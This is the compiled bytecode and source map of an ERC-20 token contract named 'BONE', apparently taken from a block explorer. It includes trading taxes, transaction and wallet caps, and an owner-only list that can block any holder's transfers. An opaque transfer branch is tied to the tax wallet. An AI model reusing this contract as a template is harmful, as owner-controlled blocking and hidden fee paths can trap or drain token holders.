66004611930565b6104eb565b005b34801561025e575f80fd5b506101b161026d3660046119f0565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610295575f80fd5b506101d66102a43660046119f0565b6001600160a01b03165f9081526001602052604090205490565b3480156102c9575f80fd5b50610251610585565b3480156102dd575f80fd5b506102516105f6565b3480156102f1575f80fd5b506101d6600f5481565b348015610306575f80fd5b505f546040516001600160a01b039091168152602001610189565b34801561032c575f80fd5b506101d660105481565b348015610341575f80fd5b50604080518082019091526004815263424f4e4560e01b602082015261017c565b34801561036d575f80fd5b506102516106b1565b348015610381575f80fd5b506101b16103903660046118b4565b6106e5565b3480156103a0575f80fd5b506101d660115481565b3480156103b5575f80fd5b506006546101b19060ff1681565b3480156103ce575f80fd5b506102516103dd366004611930565b6106f1565b3480156103ed575f80fd5b506101d66103fc366004611a0b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610431575f80fd5b5061025161077f565b348015610445575f80fd5b506102516109cc565b5f61045a338484610bab565b5060015b92915050565b5f6104716009600a611b36565b61047f90633b9aca00611b44565b905090565b5f610490848484610ccf565b6104e184336104dc85604051806060016040528060288152602001611cd6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f7f565b610bab565b5060019392505050565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611b5b565b60405180910390fd5b5f5b8151811015610581575f60045f84848151811061053e5761053e611b90565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061057981611ba4565b91505061051f565b5050565b5f546001600160a01b031633146105ae5760405162461bcd60e51b815260040161051490611b5b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461061f5760405162461bcd60e51b815260040161051490611b5b565b61062b6009600a611b36565b61063990633b9aca00611b44565b600f556106486009600a611b36565b61065690633b9aca00611b44565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106906009600a611b36565b61069e90633b9aca00611b44565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106da5760405162461bcd60e51b815260040161051490611b5b565b6106e347610fb7565b565b5f61045a338484610ccf565b5f546001600160a01b0316331461071a5760405162461bcd60e51b815260040161051490611b5b565b5f5b815181101561058157600160045f84848151811061073c5761073c611b90565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061077781611ba4565b91505061071c565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161051490611b5b565b601454600160a01b900460ff16156107fc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610514565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108459030906108376009600a611b36565b6104dc90633b9aca00611b44565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b99190611bbc565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093c9190611bbc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190611bbc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109f55760405162461bcd60e51b815260040161051490611b5b565b601454600160a01b900460ff1615610a495760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610514565b6013546001600160a01b031663f305d7194730610a7a816001600160a01b03165f9081526001602052604090205490565b5f80610a8d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610af3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b189190611bd7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b919190611c02565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610c6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610d955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b5f8111610df65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b601454600160b01b900460ff161580610e185750601454600160a81b900460ff165b15610e2d57610e28838383610ff2565b505050565b5f80546001600160a01b03858116911614801590610e5857505f546001600160a01b03848116911614155b15610f6d576001600160a01b0384165f9081526004602052604090205460ff16158015610e9d57506001600160a01b0383165f9081526004602052604090205460ff16155b610ea5575f80fd5b610eb0848484611095565b601454909150600160a81b900460ff16158015610eda57506014546001600160a01b038481169116145b8015610eef5750601454600160b01b900460ff165b8015610efe5750600d54600e54115b8015610f2257506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f4657506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6d57305f90815260016020526040902054610f649083611336565b610f6d47610fb7565b610f798484848461135d565b50505050565b5f8184841115610fa25760405162461bcd60e51b81526004016105149190611842565b505f610fae8486611c21565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610581573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546110149082611457565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611042908261149f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc29085815260200190565b5f806110c360646110bd600b54600e54116110b2576007546110b6565b6009545b86906114fd565b9061157b565b60065490915060ff16156111a9576013546001600160a01b038581169116148015906110fd57506014546001600160a01b03858116911614155b156111a957325f9081526005602052604090205443116111975760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610514565b325f9081526005602052604090204390555b6014546001600160a01b0386811691161480156111d457506013546001600160a01b03858116911614155b80156111f857506001600160a01b0384165f9081526003602052604090205460ff16155b156112de57600f5483111561124f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610514565b60105483611271866001600160a01b03165f9081526001602052604090205490565b61127b9190611c34565b11156112c95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b600e8054905f6112d883611ba4565b91905055505b6014546001600160a01b03858116911614801561130457506001600160a01b0385163014155b1561132e57610fae60646110bd600c54600e5411611324576008546110b6565b600a5486906114fd565b949350505050565b6011548211156105815761058161135882611353856012546115bc565b6115bc565b6115d0565b5f61137d85600660019054906101000a90046001600160a01b0316611740565b156113915761138e85848484611768565b90505b6001600160a01b0385165f908152600160205260409020546113b39082611457565b6001600160a01b0386165f908152600160205260409020556113f66113d88484611457565b6001600160a01b0386165f908152600160205260409020549061149f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143f8686611457565b60405190815260200160405180910390a35050505050565b5f61149883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7f565b9392505050565b5f806114ab8385611c34565b9050838110156114985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b5f825f0361150c57505f61045e565b5f6115178385611b44565b9050826115248583611c47565b146114985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b5f61149883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611816565b5f8183116115ca5782611498565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061161657611616611b90565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561166d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116919190611bbc565b816001815181106116a4576116a4611b90565b6001600160a01b0392831660209182029290920101526013546116ca9130911684610bab565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906117029085905f90869030904290600401611c66565b5f604051808303815f87803b158015611719575f80fd5b505af115801561172b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f816001600160a01b038481169082161461175f57600191505061045e565b505f9392505050565b5f8084611776816002611b44565b6117808587611b44565b61178a9190611c34565b6117949190611c21565b90508315610fae57305f908152600160205260409020546117b5908561149f565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118059088815260200190565b60405180910390a395945050505050565b5f81836118365760405162461bcd60e51b81526004016105149190611842565b505f610fae8486611c47565b5f6020808352835180828501525f5b8181101561186d57858101830151858201604001528201611851565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118a1575f80fd5b50565b80356118af8161188d565b919050565b5f80604083850312156118c5575f80fd5b82356118d08161188d565b946020939093013593505050565b5f805f606084860312156118f0575f80fd5b83356118fb8161188d565b9250602084013561190b8161188d565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611941575f80fd5b823567ffffffffffffffff80821115611958575f80fd5b818501915085601f83011261196b575f80fd5b81358181111561197d5761197d61191c565b8060051b604051601f19603f830116810181811085821117156119a2576119a261191c565b6040529182528482019250838101850191888311156119bf575f80fd5b938501935b828510156119e4576119d5856118a4565b845293850193928501926119c4565b98975050505050505050565b5f60208284031215611a00575f80fd5b81356114988161188d565b5f8060408385031215611a1c575f80fd5b8235611a278161188d565b91506020830135611a378161188d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a9057815f1904821115611a7657611a76611a42565b80851615611a8357918102915b93841c9390800290611a5b565b509250929050565b5f82611aa65750600161045e565b81611ab257505f61045e565b8160018114611ac85760028114611ad257611aee565b600191505061045e565b60ff841115611ae357611ae3611a42565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611b11575081810a61045e565b611b1b8383611a56565b805f1904821115611b2e57611b2e611a42565b029392505050565b5f61149860ff841683611a98565b808202811582820484141761045e5761045e611a42565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bb557611bb5611a42565b5060010190565b5f60208284031215611bcc575f80fd5b81516114988161188d565b5f805f60608486031215611be9575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c12575f80fd5b81518015158114611498575f80fd5b8181038181111561045e5761045e611a42565b8082018082111561045e5761045e611a42565b5f82611c6157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611cb45784516001600160a01b031683529383019391830191600101611c8f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ced7c7aef7379ae27b6eb7dced799498677fe0ea72221a1c8c782801fdfefc0964736f6c63430008150033
Deployed Bytecode Sourcemap
3820:10647:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6257:83;;;;;;;;;;-1:-1:-1;6327:5:0;;;;;;;;;;;;-1:-1:-1;;;6327:5:0;;;;6257:83;;;;;;;:::i;:::-;;;;;;;;7140:186;;;;;;;;;;-1:-1:-1;7140:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7140:186:0;1162:187:1;5046:55:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5046:55:0;1354:177:1;6534:95:0;;;;;;;;;;;;;:::i;7334:446::-;;;;;;;;;;-1:-1:-1;7334:446:0;;;;;:::i;:::-;;:::i;6443:83::-;;;;;;;;;;-1:-1:-1;6443:83:0;;4661:1;2139:36:1;;2127:2;2112:18;6443:83:0;1997:184:1;13577:168:0;;;;;;;;;;-1:-1:-1;13577:168:0;;;;;:::i;:::-;;:::i;:::-;;13753:86;;;;;;;;;;-1:-1:-1;13753:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;13824:7:0;13800:4;13824:7;;;:4;:7;;;;;;;;;13753:86;6637:119;;;;;;;;;;-1:-1:-1;6637:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6730:18:0;6703:7;6730:18;;;:9;:18;;;;;;;6637:119;2851:148;;;;;;;;;;;;;:::i;13096:201::-;;;;;;;;;;;;;:::i;4855:56::-;;;;;;;;;;;;;;;;2637:79;;;;;;;;;;-1:-1:-1;2675:7:0;2702:6;2637:79;;-1:-1:-1;;;;;2702:6:0;;;3842:51:1;;3830:2;3815:18;2637:79:0;3696:203:1;4918:58:0;;;;;;;;;;;;;;;;6348:87;;;;;;;;;;-1:-1:-1;6420:7:0;;;;;;;;;;;;-1:-1:-1;;;6420:7:0;;;;6348:87;;13847:96;;;;;;;;;;;;;:::i;6764:192::-;;;;;;;;;;-1:-1:-1;6764:192:0;;;;;:::i;:::-;;:::i;4983:56::-;;;;;;;;;;;;;;;;4201:40;;;;;;;;;;-1:-1:-1;4201:40:0;;;;;;;;13405:164;;;;;;;;;;-1:-1:-1;13405:164:0;;;;;:::i;:::-;;:::i;6964:168::-;;;;;;;;;;-1:-1:-1;6964:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7097:18:0;;;7070:7;7097:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6964:168;5805:444;;;;;;;;;;;;;:::i;13988:476::-;;;;;;;;;;;;;:::i;7140:186::-;7240:4;7257:39;264:10;7280:7;7289:6;7257:8;:39::i;:::-;-1:-1:-1;7314:4:0;7140:186;;;;;:::o;6534:95::-;6587:7;4717:15;4661:1;4717:2;:15;:::i;:::-;4704:28;;:10;:28;:::i;:::-;6607:14;;6534:95;:::o;7334:446::-;7466:4;7483:36;7493:6;7501:9;7512:6;7483:9;:36::i;:::-;7530:220;7553:6;264:10;7601:138;7657:6;7601:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7601:19:0;;;;;;:11;:19;;;;;;;;264:10;7601:33;;;;;;;;;;:37;:138::i;:::-;7530:8;:220::i;:::-;-1:-1:-1;7768:4:0;7334:446;;;;;:::o;13577:168::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;;;;;;;;;13652:6:::1;13647:91;13668:6;:13;13664:1;:17;13647:91;;;13721:5;13703:4;:15;13708:6;13715:1;13708:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13703:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13703:15:0;:23;;-1:-1:-1;;13703:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13683:3;::::1;::::0;::::1;:::i;:::-;;;;13647:91;;;;13577:168:::0;:::o;2851:148::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;2958:1:::1;2942:6:::0;;2921:40:::1;::::0;-1:-1:-1;;;;;2942:6:0;;::::1;::::0;2921:40:::1;::::0;2958:1;;2921:40:::1;2989:1;2972:19:::0;;-1:-1:-1;;;;;;2972:19:0::1;::::0;;2851:148::o;13096:201::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;13150:12;:22:::0;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;13183:14;:24:::0;13218:20:::1;:28:::0;;-1:-1:-1;;13218:28:0::1;::::0;;13262:27:::1;4717:15;4661:1;-1:-1:-1::0;4717:15:0::1;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;:::-;13262:27;::::0;1500:25:1;;;1488:2;1473:18;13262:27:0::1;;;;;;;13096:201::o:0;13847:96::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;13900:35:::1;13913:21;13900:12;:35::i;:::-;13847:96::o:0;6764:192::-;6867:4;6884:42;264:10;6908:9;6919:6;6884:9;:42::i;13405:164::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;13479:6:::1;13474:88;13495:5;:12;13491:1;:16;13474:88;;;13546:4;13529;:14;13534:5;13540:1;13534:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13529:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13529:14:0;:21;;-1:-1:-1;;13529:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13509:3;::::1;::::0;::::1;:::i;:::-;;;;13474:88;;5805:444:::0;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;5860:11:::1;::::0;-1:-1:-1;;;5860:11:0;::::1;;;5859:12;5851:48;;;::::0;-1:-1:-1;;;5851:48:0;;6820:2:1;5851:48:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:53;6941:18;;5851:48:0::1;6618:347:1::0;5851:48:0::1;5910:15;:104:::0;;-1:-1:-1;;;;;;5910:104:0::1;5961:42;5910:104:::0;;::::1;::::0;;;6025:58:::1;::::0;6042:4:::1;::::0;4717:15:::1;4661:1;4717:2;:15;:::i;:::-;4704:28;::::0;:10:::1;:28;:::i;6025:58::-;6128:15;;;;;;;;;-1:-1:-1::0;;;;;6128:15:0::1;-1:-1:-1::0;;;;;6128:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6110:55:0::1;;6188:4;6208:15;;;;;;;;;-1:-1:-1::0;;;;;6208:15:0::1;-1:-1:-1::0;;;;;6208:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6110:131;::::0;-1:-1:-1;;;;;;6110:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7456:15:1;;;6110:131:0::1;::::0;::::1;7438:34:1::0;7508:15;;7488:18;;;7481:43;7373:18;;6110:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6094:13;:147:::0;;-1:-1:-1;;;;;;6094:147:0::1;-1:-1:-1::0;;;;;6094:147:0;;;::::1;::::0;;;::::1;::::0;;5805:444::o;13988:476::-;2764:6;;-1:-1:-1;;;;;2764:6:0;264:10;2764:22;2756:67;;;;-1:-1:-1;;;2756:67:0;;;;;;;:::i;:::-;14043:11:::1;::::0;-1:-1:-1;;;14043:11:0;::::1;;;14042:12;14034:48;;;::::0;-1:-1:-1;;;14034:48:0;;6820:2:1;14034:48:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:53;6941:18;;14034:48:0::1;6618:347:1::0;14034:48:0::1;14093:15;::::0;-1:-1:-1;;;;;14093:15:0::1;:31;14132:21;14177:4;14197:24;14177:4:::0;-1:-1:-1;;;;;6730:18:0;6703:7;6730:18;;;:9;:18;;;;;;;6637:119;14197:24:::1;14236:1;14252::::0;14268:7:::1;2675::::0;2702:6;-1:-1:-1;;;;;2702:6:0;;2637:79;14268:7:::1;14093:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14093:223:0;;;-1:-1:-1;;;;;7894:15:1;;;14093:223:0::1;::::0;::::1;7876:34:1::0;7926:18;;;7919:34;;;;7969:18;;;7962:34;;;;8012:18;;;8005:34;8076:15;;;8055:19;;;8048:44;14290:15:0::1;8108:19:1::0;;;8101:35;7810:19;;14093:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14334:13:0::1;::::0;14365:15:::1;::::0;14327:71:::1;::::0;-1:-1:-1;;;14327:71:0;;-1:-1:-1;;;;;14365:15:0;;::::1;14327:71;::::0;::::1;8632:51:1::0;-1:-1:-1;;8699:18:1;;;8692:34;14334:13:0;::::1;::::0;-1:-1:-1;14327:29:0::1;::::0;8605:18:1;;14327:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14409:11:0::1;:18:::0;;-1:-1:-1;;;;14438:18:0;-1:-1:-1;;;14438:18:0;;;13988:476::o;7788:335::-;-1:-1:-1;;;;;7881:19:0;;7873:68;;;;-1:-1:-1;;;7873:68:0;;9221:2:1;7873:68:0;;;9203:21:1;9260:2;9240:18;;;9233:30;9299:34;9279:18;;;9272:62;-1:-1:-1;;;9350:18:1;;;9343:34;9394:19;;7873:68:0;9019:400:1;7873:68:0;-1:-1:-1;;;;;7960:21:0;;7952:68;;;;-1:-1:-1;;;7952:68:0;;9626:2:1;7952:68:0;;;9608:21:1;9665:2;9645:18;;;9638:30;9704:34;9684:18;;;9677:62;-1:-1:-1;;;9755:18:1;;;9748:32;9797:19;;7952:68:0;9424:398:1;7952:68:0;-1:-1:-1;;;;;8031:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8083:32;;1500:25:1;;;8083:32:0;;1473:18:1;8083:32:0;;;;;;;;7788:335;;;:::o;11141:1103::-;-1:-1:-1;;;;;11229:18:0;;11221:68;;;;-1:-1:-1;;;11221:68:0;;10029:2:1;11221:68:0;;;10011:21:1;10068:2;10048:18;;;10041:30;10107:34;10087:18;;;10080:62;-1:-1:-1;;;10158:18:1;;;10151:35;10203:19;;11221:68:0;9827:401:1;11221:68:0;-1:-1:-1;;;;;11308:16:0;;11300:64;;;;-1:-1:-1;;;11300:64:0;;10435:2:1;11300:64:0;;;10417:21:1;10474:2;10454:18;;;10447:30;10513:34;10493:18;;;10486:62;-1:-1:-1;;;10564:18:1;;;10557:33;10607:19;;11300:64:0;10233:399:1;11300:64:0;11392:1;11383:6;:10;11375:64;;;;-1:-1:-1;;;11375:64:0;;10839:2:1;11375:64:0;;;10821:21:1;10878:2;10858:18;;;10851:30;10917:34;10897:18;;;10890:62;-1:-1:-1;;;10968:18:1;;;10961:39;11017:19;;11375:64:0;10637:405:1;11375:64:0;11457:11;;-1:-1:-1;;;11457:11:0;;;;11456:12;;:22;;-1:-1:-1;11472:6:0;;-1:-1:-1;;;11472:6:0;;;;11456:22;11452:108;;;11495:32;11510:4;11516:2;11520:6;11495:14;:32::i;:::-;11141:1103;;;:::o;11452:108::-;11572:17;2702:6;;-1:-1:-1;;;;;11608:15:0;;;2702:6;;11608:15;;;;:32;;-1:-1:-1;2675:7:0;2702:6;-1:-1:-1;;;;;11627:13:0;;;2702:6;;11627:13;;11608:32;11604:577;;;-1:-1:-1;;;;;11666:10:0;;;;;;:4;:10;;;;;;;;11665:11;:24;;;;-1:-1:-1;;;;;;11681:8:0;;;;;;:4;:8;;;;;;;;11680:9;11665:24;11657:33;;;;;;11731:30;11744:4;11750:2;11754:6;11731:12;:30::i;:::-;11801:6;;11719:42;;-1:-1:-1;;;;11801:6:0;;;;11800:7;:47;;;;-1:-1:-1;11834:13:0;;-1:-1:-1;;;;;11828:19:0;;;11834:13;;11828:19;11800:47;:79;;;;-1:-1:-1;11868:11:0;;-1:-1:-1;;;11868:11:0;;;;11800:79;:130;;;;;11912:18;;11900:9;;:30;11800:130;:176;;;;-1:-1:-1;;;;;;11952:24:0;;;;;;:18;:24;;;;;;;;11951:25;11800:176;:220;;;;-1:-1:-1;;;;;;11998:22:0;;;;;;:18;:22;;;;;;;;11997:23;11800:220;11778:392;;;12085:4;6703:7;6730:18;;;:9;:18;;;;;;12055:45;;12093:6;12055:11;:45::i;:::-;12119:35;12132:21;12119:12;:35::i;:::-;12193:43;12208:4;12214:2;12218:6;12226:9;12193:14;:43::i;:::-;11210:1034;11141:1103;;;:::o;1439:224::-;1559:7;1595:12;1587:6;;;;1579:29;;;;-1:-1:-1;;;1579:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1619:9:0;1631:5;1635:1;1631;:5;:::i;:::-;1619:17;1439:224;-1:-1:-1;;;;;1439:224:0:o;13305:92::-;13362:10;;:27;;:10;;;;-1:-1:-1;;;;;13362:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;8131:233;-1:-1:-1;;;;;8235:15:0;;;;;;:9;:15;;;;;;:27;;8255:6;8235:19;:27::i;:::-;-1:-1:-1;;;;;8217:15:0;;;;;;;:9;:15;;;;;;:45;;;;8289:13;;;;;;;:25;;8307:6;8289:17;:25::i;:::-;-1:-1:-1;;;;;8273:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8330:26;;;;;;;;;;8349:6;1500:25:1;;1488:2;1473:18;;1354:177;8372:1550:0;8452:7;8473:17;8493:184;8673:3;8493:161;8549:15;;8537:9;;:27;8536:103;;8625:14;;8536:103;;;8589:12;;8536:103;8493:6;;:24;:161::i;:::-;:179;;:184::i;:::-;8694:20;;8473:204;;-1:-1:-1;8694:20:0;;8690:478;;;8767:15;;-1:-1:-1;;;;;8753:30:0;;;8767:15;;8753:30;;;;:79;;-1:-1:-1;8818:13:0;;-1:-1:-1;;;;;8804:28:0;;;8818:13;;8804:28;;8753:79;8731:426;;;8926:9;8897:39;;;;:28;:39;;;;;;8939:12;-1:-1:-1;8867:201:0;;;;-1:-1:-1;;;8867:201:0;;11382:2:1;8867:201:0;;;11364:21:1;11421:2;11401:18;;;11394:30;11460:34;11440:18;;;11433:62;11531:34;11511:18;;;11504:62;-1:-1:-1;;;11582:19:1;;;11575:40;11632:19;;8867:201:0;11180:477:1;8867:201:0;9116:9;9087:39;;;;:28;:39;;;;;9129:12;9087:54;;8731:426;9206:13;;-1:-1:-1;;;;;9198:21:0;;;9206:13;;9198:21;:68;;;;-1:-1:-1;9250:15:0;;-1:-1:-1;;;;;9236:30:0;;;9250:15;;9236:30;;9198:68;:108;;;;-1:-1:-1;;;;;;9284:22:0;;;;;;:18;:22;;;;;;;;9283:23;9198:108;9180:394;;;9351:12;;9341:6;:22;;9333:60;;;;-1:-1:-1;;;9333:60:0;;11864:2:1;9333:60:0;;;11846:21:1;11903:2;11883:18;;;11876:30;11942:27;11922:18;;;11915:55;11987:18;;9333:60:0;11662:349:1;9333:60:0;9460:14;;9450:6;9434:13;9444:2;-1:-1:-1;;;;;6730:18:0;6703:7;6730:18;;;:9;:18;;;;;;;6637:119;9434:13;:22;;;;:::i;:::-;:40;;9408:128;;;;-1:-1:-1;;;9408:128:0;;12348:2:1;9408:128:0;;;12330:21:1;12387:2;12367:18;;;12360:30;12426:28;12406:18;;;12399:56;12472:18;;9408:128:0;12146:350:1;9408:128:0;9551:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9180:394;9596:13;;-1:-1:-1;;;;;9590:19:0;;;9596:13;;9590:19;:44;;;;-1:-1:-1;;;;;;9613:21:0;;9629:4;9613:21;;9590:44;9586:300;;;9663:211;9870:3;9663:184;9727:16;;9715:9;;:28;9714:114;;9813:15;;9714:114;;;9772:13;;9663:6;;:28;:184::i;9586:300::-;9905:9;8372:1550;-1:-1:-1;;;;8372:1550:0:o;12252:230::-;12340:17;;12329:8;:28;12326:149;;;12374:89;12409:39;12413:6;12421:26;12425:8;12435:11;;12421:3;:26::i;:::-;12409:3;:39::i;:::-;12374:16;:89::i;10123:514::-;10271:19;10318:27;10328:4;10334:10;;;;;;;;;-1:-1:-1;;;;;10334:10:0;10318:9;:27::i;:::-;10315:128;;;10376:55;10394:4;10400:6;10408:9;10419:11;10376:17;